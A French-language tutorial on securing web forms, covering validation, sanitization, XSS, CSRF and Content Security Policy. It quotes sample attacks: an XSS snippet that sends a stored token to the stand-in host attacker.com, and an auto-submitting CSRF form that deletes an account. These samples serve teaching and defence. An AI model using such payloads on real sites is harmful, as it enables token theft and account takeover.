Pourquoi sécuriser les formulaires ?

Chaque champ de formulaire est une opportunité pour un attaquant d’injecter du code malveillant ou de manipuler ton système.

Exemples de risques :

• Vol de données utilisateurs
• Exécution de scripts malveillants
• Usurpation d’identité
• Transactions frauduleuses

Conclusion : toutes les entrées utilisateur doivent être considérées comme dangereuses par défaut.

1. La validation : première ligne de défense

La validation consiste à vérifier que les données envoyées respectent un format attendu.

Types de validation

1. Validation côté frontend

• Vérifie les champs avant envoi
• Améliore l’expérience utilisateur

Exemples :

• Email valide
• Mot de passe minimum 8 caractères
• Champ obligatoire

if (!email.includes("@")) {
  throw new Error("Email invalide");
}

2. Validation côté backend (OBLIGATOIRE)

C’est la vraie sécurité.

Même si tu valides côté frontend, un attaquant peut envoyer une requête directement à ton API.

Exemples :

• Vérifier les types (string, number…)
• Limiter la longueur
• Contrôler les formats

Erreur fréquente

Se reposer uniquement sur le frontend

❌ Mauvaise pratique

✅ Toujours valider côté serveur ou base de données

2. La sanitization : nettoyer les données

La sanitization consiste à nettoyer les entrées utilisateur pour supprimer tout contenu dangereux.

Exemple d’attaque

Un utilisateur malveillant peut entrer :

<script>alert('Hacked')</script>

Sans sanitization :

le script s’exécute dans ton application

Solution : nettoyer les données

Exemple simple :

const clean = input.replace(/[<>]/g, "");

Outil recommandé

Utiliser une librairie comme DOMPurify :

import DOMPurify from 'dompurify';

const safeHTML = DOMPurify.sanitize(userInput);

Bonnes pratiques

• Ne jamais afficher directement du HTML utilisateur
• Éviter dangerouslySetInnerHTML en React
• Nettoyer les données avant affichage

3. Les attaques XSS (Cross-Site Scripting)

Définition

Une attaque XSS consiste à injecter du JavaScript malveillant dans ton application pour :

• voler des tokens (JWT)
• voler des sessions
• rediriger l’utilisateur
• modifier l’interface

Exemple concret

Un attaquant injecte :

<script>
fetch('https://attacker.com?token=' + localStorage.getItem('token'))
</script>

Ton utilisateur est compromis

Comment se protéger ?

✅ 1. Sanitization (vu plus haut)

✅ 2. Content Security Policy (CSP)

<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self';">

Empêche l’exécution de scripts externes

✅ 3. Éviter les injections HTML

• Pas de innerHTML
• Pas de contenu dynamique non contrôlé

✅ 4. Ne jamais exposer les tokens dans le DOM

4. Les attaques CSRF (Cross-Site Request Forgery)

Définition

Une attaque CSRF consiste à forcer un utilisateur connecté à exécuter une action à son insu.

Exemple

Un utilisateur connecté visite un site malveillant qui envoie :

<form action="https://tonsite.com/api/delete-account" method="POST">
</form>
<script>document.forms[0].submit()</script>

Son compte est supprimé sans qu’il le sache

Protection contre CSRF

✅ 1. CSRF Token

• Token unique généré côté serveur
• Vérifié à chaque requête

✅ 2. Cookies sécurisés

• SameSite=Strict
• HttpOnly

Cas particulier (SPA avec JWT)

Si tu utilises :

Authorization: Bearer <JWT>

Alors :

• pas de cookies automatiques
• donc pas de CSRF

XSS vs CSRF : comprendre la différence

Stratégie globale de sécurité

Pour sécuriser tes formulaires :

Minimum requis

• Validation frontend + backend ✅
• Sanitization des inputs ✅
• Protection XSS (CSP) ✅
• Règles d’accès (authentification) ✅

Niveau avancé

• Logs et monitoring
• Rate limiting
• Audit des dépendances
• Architecture backend sécurisée

Conclusion

Les formulaires sont une cible privilégiée pour les attaques web.

La sécurité ne repose pas sur une seule technique, mais sur une combinaison de bonnes pratiques :

• Valider
• Nettoyer
• Contrôler
• Surveiller